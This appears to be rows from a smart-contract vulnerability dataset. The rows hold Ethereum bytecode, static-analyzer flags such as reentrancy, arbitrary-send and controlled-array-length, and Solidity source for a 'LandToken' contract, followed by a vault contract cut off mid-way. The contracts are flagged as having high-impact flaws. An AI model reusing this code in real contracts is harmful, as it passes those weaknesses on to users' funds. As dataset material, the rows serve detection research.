74683a206469766973696f6e206279207a65726f0000000000008152506118c3565b905092915050565b6000806000806000806116ab87611926565b95509550955095509550955061170986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ea81611a34565b6117f48483611af1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185191906123ba565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a0000905061189867016345785d8a000060075461164f90919063ffffffff16565b8210156118b65760075467016345785d8a00009350935050506118bf565b81819350935050505b9091565b6000808311829061190a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119019190612258565b60405180910390fd5b506000838561191991906124f5565b9050809150509392505050565b60008060008060008060008060006119418a60016009611b2b565b9250925092506000611951611624565b905060008060006119648e878787611bc1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124e565b905092915050565b60008082846119e5919061249f565b905083811015611a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a21906122da565b60405180910390fd5b8091505092915050565b6000611a3e611624565b90506000611a558284611c4a90919063ffffffff16565b9050611aa981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b068260075461198c90919063ffffffff16565b600781905550611b21816008546119d690919063ffffffff16565b6008819055505050565b600080600080611b576064611b49888a611c4a90919063ffffffff16565b61164f90919063ffffffff16565b90506000611b816064611b73888b611c4a90919063ffffffff16565b61164f90919063ffffffff16565b90506000611baa82611b9c858c61198c90919063ffffffff16565b61198c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bda8589611c4a90919063ffffffff16565b90506000611bf18689611c4a90919063ffffffff16565b90506000611c088789611c4a90919063ffffffff16565b90506000611c3182611c23858761198c90919063ffffffff16565b61198c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c5d5760009050611cbf565b60008284611c6b9190612526565b9050828482611c7a91906124f5565b14611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb1906122fa565b60405180910390fd5b809150505b92915050565b600081359050611cd4816129c4565b92915050565b600081519050611ce9816129c4565b92915050565b600081519050611cfe816129db565b92915050565b600081359050611d13816129f2565b92915050565b600081519050611d28816129f2565b92915050565b600060208284031215611d4457611d4361270a565b5b6000611d5284828501611cc5565b91505092915050565b600060208284031215611d7157611d7061270a565b5b6000611d7f84828501611cda565b91505092915050565b60008060408385031215611d9f57611d9e61270a565b5b6000611dad85828601611cc5565b9250506020611dbe85828601611cc5565b9150509250929050565b600080600060608486031215611de157611de061270a565b5b6000611def86828701611cc5565b9350506020611e0086828701611cc5565b9250506040611e1186828701611d04565b9150509250925092565b60008060408385031215611e3257611e3161270a565b5b6000611e4085828601611cc5565b9250506020611e5185828601611d04565b9150509250929050565b600060208284031215611e7157611e7061270a565b5b6000611e7f84828501611cef565b91505092915050565b600060208284031215611e9e57611e9d61270a565b5b6000611eac84828501611d19565b91505092915050565b600080600060608486031215611ece57611ecd61270a565b5b6000611edc86828701611d19565b9350506020611eed86828701611d19565b9250506040611efe86828701611d19565b9150509250925092565b6000611f148383611f20565b60208301905092915050565b611f29816125b4565b82525050565b611f38816125b4565b82525050565b6000611f498261245a565b611f53818561247d565b9350611f5e8361244a565b8060005b83811015611f8f578151611f768882611f08565b9750611f8183612470565b925050600181019050611f62565b5085935050505092915050565b611fa5816125c6565b82525050565b611fb481612609565b82525050565b6000611fc582612465565b611fcf818561248e565b9350611fdf81856020860161261b565b611fe88161270f565b840191505092915050565b600061200060238361248e565b915061200b82612720565b604082019050919050565b6000612023602a8361248e565b915061202e8261276f565b604082019050919050565b600061204660228361248e565b9150612051826127be565b604082019050919050565b6000612069601b8361248e565b91506120748261280d565b602082019050919050565b600061208c60218361248e565b915061209782612836565b604082019050919050565b60006120af60208361248e565b91506120ba82612885565b602082019050919050565b60006120d260298361248e565b91506120dd826128ae565b604082019050919050565b60006120f560258361248e565b9150612100826128fd565b604082019050919050565b600061211860248361248e565b91506121238261294c565b604082019050919050565b600061213b60178361248e565b91506121468261299b565b602082019050919050565b61215a816125f2565b82525050565b612169816125fc565b82525050565b60006020820190506121846000830184611f2f565b92915050565b600060408201905061219f6000830185611f2f565b6121ac6020830184611f2f565b9392505050565b60006040820190506121c86000830185611f2f565b6121d56020830184612151565b9392505050565b600060c0820190506121f16000830189611f2f565b6121fe6020830188612151565b61220b6040830187611fab565b6122186060830186611fab565b6122256080830185611f2f565b61223260a0830184612151565b979650505050505050565b60006020820190506122526000830184611f9c565b92915050565b600060208201905081810360008301526122728184611fba565b905092915050565b6000602082019050818103600083015261229381611ff3565b9050919050565b600060208201905081810360008301526122b381612016565b9050919050565b600060208201905081810360008301526122d381612039565b9050919050565b600060208201905081810360008301526122f38161205c565b9050919050565b600060208201905081810360008301526123138161207f565b9050919050565b60006020820190508181036000830152612333816120a2565b9050919050565b60006020820190508181036000830152612353816120c5565b9050919050565b60006020820190508181036000830152612373816120e8565b9050919050565b600060208201905081810360008301526123938161210b565b9050919050565b600060208201905081810360008301526123b38161212e565b9050919050565b60006020820190506123cf6000830184612151565b92915050565b600060a0820190506123ea6000830188612151565b6123f76020830187611fab565b81810360408301526124098186611f3e565b90506124186060830185611f2f565b6124256080830184612151565b9695505050505050565b60006020820190506124446000830184612160565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124aa826125f2565b91506124b5836125f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124ea576124e961264e565b5b828201905092915050565b6000612500826125f2565b915061250b836125f2565b92508261251b5761251a61267d565b5b828204905092915050565b6000612531826125f2565b915061253c836125f2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125755761257461264e565b5b828202905092915050565b600061258b826125f2565b9150612596836125f2565b9250828210156125a9576125a861264e565b5b828203905092915050565b60006125bf826125d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612614826125f2565b9050919050565b60005b8381101561263957808201518184015260208101905061261e565b83811115612648576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129cd816125b4565b81146129d857600080fd5b50565b6129e4816125c6565b81146129ef57600080fd5b50565b6129fb816125f2565b8114612a0657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205423e060acc139cd6d67326becb078ea5591e3a08f4fb7fa05ce4fcd0b50d98364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,792 |
0x305ce0133c3f8e110599b009ce31988378c505a1
|
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
// function renounceOwnership() public onlyOwner {
// emit OwnershipRenounced(owner);
// owner = address(0);
// }
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract LandTokenInterface {
//ERC721
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _landId) public view returns (address _owner);
function transfer(address _to, uint256 _landId) public;
function approve(address _to, uint256 _landId) public;
function takeOwnership(uint256 _landId) public;
function totalSupply() public view returns (uint);
function owns(address _claimant, uint256 _landId) public view returns (bool);
function allowance(address _claimant, uint256 _landId) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _landId) public;
function createLand(address _owner) external returns (uint);
}
interface tokenRecipient {
function receiveApproval(address _from, address _token, uint _value, bytes _extraData) external;
function receiveCreateAuction(address _from, address _token, uint _landId, uint _startPrice, uint _duration) external;
function receiveCreateAuctionFromArray(address _from, address _token, uint[] _landIds, uint _startPrice, uint _duration) external;
}
contract LandBase is Ownable {
using SafeMath for uint;
event Transfer(address indexed from, address indexed to, uint256 landId);
event Approval(address indexed owner, address indexed approved, uint256 landId);
event NewLand(address indexed owner, uint256 landId);
struct Land {
uint id;
}
// Total amount of lands
uint256 private totalLands;
// Incremental counter of lands Id
uint256 private lastLandId;
//Mapping from land ID to Land struct
mapping(uint256 => Land) public lands;
// Mapping from land ID to owner
mapping(uint256 => address) private landOwner;
// Mapping from land ID to approved address
mapping(uint256 => address) private landApprovals;
// Mapping from owner to list of owned lands IDs
mapping(address => uint256[]) private ownedLands;
// Mapping from land ID to index of the owner lands list
// т.е. ID земли => порядковый номер в списке владельца
mapping(uint256 => uint256) private ownedLandsIndex;
modifier onlyOwnerOf(uint256 _landId) {
require(owns(msg.sender, _landId));
_;
}
/**
* @dev Gets the owner of the specified land ID
* @param _landId uint256 ID of the land to query the owner of
* @return owner address currently marked as the owner of the given land ID
*/
function ownerOf(uint256 _landId) public view returns (address) {
return landOwner[_landId];
}
function totalSupply() public view returns (uint256) {
return totalLands;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
return ownedLands[_owner].length;
}
/**
* @dev Gets the list of lands owned by a given address
* @param _owner address to query the lands of
* @return uint256[] representing the list of lands owned by the passed address
*/
function landsOf(address _owner) public view returns (uint256[]) {
return ownedLands[_owner];
}
/**
* @dev Gets the approved address to take ownership of a given land ID
* @param _landId uint256 ID of the land to query the approval of
* @return address currently approved to take ownership of the given land ID
*/
function approvedFor(uint256 _landId) public view returns (address) {
return landApprovals[_landId];
}
/**
* @dev Tells whether the msg.sender is approved for the given land ID or not
* This function is not private so it can be extended in further implementations like the operatable ERC721
* @param _owner address of the owner to query the approval of
* @param _landId uint256 ID of the land to query the approval of
* @return bool whether the msg.sender is approved for the given land ID or not
*/
function allowance(address _owner, uint256 _landId) public view returns (bool) {
return approvedFor(_landId) == _owner;
}
/**
* @dev Approves another address to claim for the ownership of the given land ID
* @param _to address to be approved for the given land ID
* @param _landId uint256 ID of the land to be approved
*/
function approve(address _to, uint256 _landId) public onlyOwnerOf(_landId) returns (bool) {
require(_to != msg.sender);
if (approvedFor(_landId) != address(0) || _to != address(0)) {
landApprovals[_landId] = _to;
emit Approval(msg.sender, _to, _landId);
return true;
}
}
function approveAndCall(address _spender, uint256 _landId, bytes _extraData) public returns (bool) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _landId)) {
spender.receiveApproval(msg.sender, this, _landId, _extraData);
return true;
}
}
function createAuction(address _auction, uint _landId, uint _startPrice, uint _duration) public returns (bool) {
tokenRecipient auction = tokenRecipient(_auction);
if (approve(_auction, _landId)) {
auction.receiveCreateAuction(msg.sender, this, _landId, _startPrice, _duration);
return true;
}
}
function createAuctionFromArray(address _auction, uint[] _landIds, uint _startPrice, uint _duration) public returns (bool) {
tokenRecipient auction = tokenRecipient(_auction);
for (uint i = 0; i < _landIds.length; ++i)
require(approve(_auction, _landIds[i]));
auction.receiveCreateAuctionFromArray(msg.sender, this, _landIds, _startPrice, _duration);
return true;
}
/**
* @dev Claims the ownership of a given land ID
* @param _landId uint256 ID of the land being claimed by the msg.sender
*/
function takeOwnership(uint256 _landId) public {
require(allowance(msg.sender, _landId));
clearApprovalAndTransfer(ownerOf(_landId), msg.sender, _landId);
}
/**
* @dev Transfers the ownership of a given land ID to another address
* @param _to address to receive the ownership of the given land ID
* @param _landId uint256 ID of the land to be transferred
*/
function transfer(address _to, uint256 _landId) public onlyOwnerOf(_landId) returns (bool) {
clearApprovalAndTransfer(msg.sender, _to, _landId);
return true;
}
/**
* @dev Internal function to clear current approval and transfer the ownership of a given land ID
* @param _from address which you want to send lands from
* @param _to address which you want to transfer the land to
* @param _landId uint256 ID of the land to be transferred
*/
function clearApprovalAndTransfer(address _from, address _to, uint256 _landId) internal {
require(owns(_from, _landId));
require(_to != address(0));
require(_to != ownerOf(_landId));
clearApproval(_from, _landId);
removeLand(_from, _landId);
addLand(_to, _landId);
emit Transfer(_from, _to, _landId);
}
/**
* @dev Internal function to clear current approval of a given land ID
* @param _landId uint256 ID of the land to be transferred
*/
function clearApproval(address _owner, uint256 _landId) private {
require(owns(_owner, _landId));
landApprovals[_landId] = address(0);
emit Approval(_owner, address(0), _landId);
}
/**
* @dev Internal function to add a land ID to the list of a given address
* @param _to address representing the new owner of the given land ID
* @param _landId uint256 ID of the land to be added to the lands list of the given address
*/
function addLand(address _to, uint256 _landId) private {
require(landOwner[_landId] == address(0));
landOwner[_landId] = _to;
uint256 length = ownedLands[_to].length;
ownedLands[_to].push(_landId);
ownedLandsIndex[_landId] = length;
totalLands = totalLands.add(1);
}
/**
* @dev Internal function to remove a land ID from the list of a given address
* @param _from address representing the previous owner of the given land ID
* @param _landId uint256 ID of the land to be removed from the lands list of the given address
*/
function removeLand(address _from, uint256 _landId) private {
require(owns(_from, _landId));
uint256 landIndex = ownedLandsIndex[_landId];
// uint256 lastLandIndex = balanceOf(_from).sub(1);
uint256 lastLandIndex = ownedLands[_from].length.sub(1);
uint256 lastLand = ownedLands[_from][lastLandIndex];
landOwner[_landId] = address(0);
ownedLands[_from][landIndex] = lastLand;
ownedLands[_from][lastLandIndex] = 0;
// Note that this will handle single-element arrays. In that case, both landIndex and lastLandIndex are going to
// be zero. Then we can make sure that we will remove _landId from the ownedLands list since we are first swapping
// the lastLand to the first position, and then dropping the element placed in the last position of the list
ownedLands[_from].length--;
ownedLandsIndex[_landId] = 0;
ownedLandsIndex[lastLand] = landIndex;
totalLands = totalLands.sub(1);
}
function createLand(address _owner, uint _id) onlyOwner public returns (uint) {
require(_owner != address(0));
uint256 _landId = lastLandId++;
addLand(_owner, _landId);
//store new land data
lands[_landId] = Land({
id : _id
});
emit Transfer(address(0), _owner, _landId);
emit NewLand(_owner, _landId);
return _landId;
}
function createLandAndAuction(address _owner, uint _id, address _auction, uint _startPrice, uint _duration) onlyOwner public
{
uint id = createLand(_owner, _id);
require(createAuction(_auction, id, _startPrice, _duration));
}
function owns(address _claimant, uint256 _landId) public view returns (bool) {
return ownerOf(_landId) == _claimant && ownerOf(_landId) != address(0);
}
function transferFrom(address _from, address _to, uint256 _landId) public returns (bool) {
require(_to != address(this));
require(allowance(msg.sender, _landId));
clearApprovalAndTransfer(_from, _to, _landId);
return true;
}
}
contract LandToken is LandBase {
string public constant name = "LandToken";
string public constant symbol = "LTT";
function() public payable{
revert();
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e357806323b872dd1461020a5780632a6dd48f146102345780635aff457f1461026857806361beb1d7146102d45780636352211e146102fe57806370a0823114610316578063818d4b5d146103375780638da5cb5b1461035b57806395d89b41146103705780639805d7d214610385578063a9059cbb146103f6578063b2e6ceeb1461041a578063cae9ca5114610434578063db165a761461049d578063ddc6a171146104c1578063e261f1e5146104e5578063f2fde38b146104fd578063f4c2ebdd1461051e575b600080fd5b34801561012d57600080fd5b5061013661054f565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cf600160a060020a0360043516602435610586565b604080519115158252519081900360200190f35b3480156101ef57600080fd5b506101f861065d565b60408051918252519081900360200190f35b34801561021657600080fd5b506101cf600160a060020a0360043581169060243516604435610664565b34801561024057600080fd5b5061024c6004356106a6565b60408051600160a060020a039092168252519081900360200190f35b34801561027457600080fd5b506040805160206004602480358281013584810280870186019097528086526101cf968435600160a060020a0316963696604495919490910192918291850190849080828437509497505084359550505060209092013591506106c19050565b3480156102e057600080fd5b506101cf600160a060020a03600435166024356044356064356107e8565b34801561030a57600080fd5b5061024c60043561089b565b34801561032257600080fd5b506101f8600160a060020a03600435166108b6565b34801561034357600080fd5b506101cf600160a060020a03600435166024356108d1565b34801561036757600080fd5b5061024c610915565b34801561037c57600080fd5b50610136610924565b34801561039157600080fd5b506103a6600160a060020a036004351661095b565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103e25781810151838201526020016103ca565b505050509050019250505060405180910390f35b34801561040257600080fd5b506101cf600160a060020a03600435166024356109c7565b34801561042657600080fd5b506104326004356109ea565b005b34801561044057600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101cf948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610a159650505050505050565b3480156104a957600080fd5b506101f8600160a060020a0360043516602435610b2d565b3480156104cd57600080fd5b506101cf600160a060020a0360043516602435610c12565b3480156104f157600080fd5b506101f8600435610c38565b34801561050957600080fd5b50610432600160a060020a0360043516610c4a565b34801561052a57600080fd5b50610432600160a060020a036004358116906024359060443516606435608435610c6a565b60408051808201909152600981527f4c616e64546f6b656e0000000000000000000000000000000000000000000000602082015281565b60008161059333826108d1565b151561059e57600080fd5b600160a060020a0384163314156105b457600080fd5b60006105bf846106a6565b600160a060020a03161415806105dd5750600160a060020a03841615155b1561065657600083815260056020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03881690811790915582518681529251909233927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3600191505b5092915050565b6001545b90565b6000600160a060020a03831630141561067c57600080fd5b6106863383610c12565b151561069157600080fd5b61069c848484610cad565b5060019392505050565b600090815260056020526040902054600160a060020a031690565b600084815b8551811015610703576106f08787838151811015156106e157fe5b90602001906020020151610586565b15156106fb57600080fd5b6001016106c6565b6040517fc89e528e00000000000000000000000000000000000000000000000000000000815233600482018181523060248401819052606484018990526084840188905260a0604485019081528a5160a48601528a51600160a060020a0388169563c89e528e95948d938d938d9360c401906020808801910280838360005b8381101561079a578181015183820152602001610782565b505050509050019650505050505050600060405180830381600087803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b5060019a9950505050505050505050565b6000846107f58186610586565b1561089257604080517f100a0ed10000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810187905260648101869052608481018590529051600160a060020a0383169163100a0ed19160a480830192600092919082900301818387803b15801561087557600080fd5b505af1158015610889573d6000803e3d6000fd5b50505050600191505b50949350505050565b600090815260046020526040902054600160a060020a031690565b600160a060020a031660009081526006602052604090205490565b600082600160a060020a03166108e68361089b565b600160a060020a031614801561090e575060006109028361089b565b600160a060020a031614155b9392505050565b600054600160a060020a031681565b60408051808201909152600381527f4c54540000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a0381166000908152600660209081526040918290208054835181840281018401909452808452606093928301828280156109bb57602002820191906000526020600020905b8154815260200190600101908083116109a7575b50505050509050919050565b6000816109d433826108d1565b15156109df57600080fd5b61069c338585610cad565b6109f43382610c12565b15156109ff57600080fd5b610a12610a0b8261089b565b3383610cad565b50565b600083610a228185610586565b15610b25576040517f56826ee60000000000000000000000000000000000000000000000000000000081523360048201818152306024840181905260448401889052608060648501908152875160848601528751600160a060020a038716956356826ee695948b938b939192909160a490910190602085019080838360005b83811015610ab9578181015183820152602001610aa1565b50505050905090810190601f168015610ae65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050600191505b509392505050565b600080548190600160a060020a03163314610b4757600080fd5b600160a060020a0384161515610b5c57600080fd5b506002805460018101909155610b728482610d66565b6040805160208181018352858252600084815260038252838120925190925582518481529251600160a060020a038816937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a3604080518281529051600160a060020a038616917ff81b1d2ee455f4cd7d6958269606dc9daa4c68e2e0f7965ae36887d2008d65a7919081900360200190a29392505050565b600082600160a060020a0316610c27836106a6565b600160a060020a0316149392505050565b60036020526000908152604090205481565b600054600160a060020a03163314610c6157600080fd5b610a1281610e03565b60008054600160a060020a03163314610c8257600080fd5b610c8c8686610b2d565b9050610c9a848285856107e8565b1515610ca557600080fd5b505050505050565b610cb783826108d1565b1515610cc257600080fd5b600160a060020a0382161515610cd757600080fd5b610ce08161089b565b600160a060020a0383811691161415610cf857600080fd5b610d028382610e80565b610d0c8382610eff565b610d168282610d66565b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600081815260046020526040812054600160a060020a031615610d8857600080fd5b506000818152600460209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03871690811790915583526006825280832080546001818101835591855283852081018690558585526007909352922081905581549091610dfb9190611076565b600155505050565b600160a060020a0381161515610e1857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b610e8a82826108d1565b1515610e9557600080fd5b6000818152600560209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916905580518481529051600160a060020a038616927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35050565b6000806000610f0e85856108d1565b1515610f1957600080fd5b600084815260076020908152604080832054600160a060020a0389168452600690925290912054909350610f5490600163ffffffff61108516565b600160a060020a038616600090815260066020526040902080549193509083908110610f7c57fe5b6000918252602080832090910154868352600482526040808420805473ffffffffffffffffffffffffffffffffffffffff19169055600160a060020a0389168452600690925291208054919250829185908110610fd557fe5b6000918252602080832090910192909255600160a060020a038716815260069091526040812080548490811061100757fe5b6000918252602080832090910192909255600160a060020a038716815260069091526040902080549061103e906000198301611097565b5060008481526007602052604080822082905582825290208390556001805461106c9163ffffffff61108516565b6001555050505050565b60008282018381101561090e57fe5b60008282111561109157fe5b50900390565b8154818355818111156110bb576000838152602090206110bb9181019083016110c0565b505050565b61066191905b808211156110da57600081556001016110c6565b50905600a165627a7a72305820fd708933ffc8696e14f8a6b29e9ae39ca12ed877f4fe003cec3edf1b5c895c400029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,793 |
0x52d829076ddaefb5742c26478551f9f1fc4c14fe
|
/**
*Submitted for verification at Etherscan.io on 2020-11-12
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pFDIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
uint256 amount;
uint256 startTime;
uint256 checkTime;
}
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
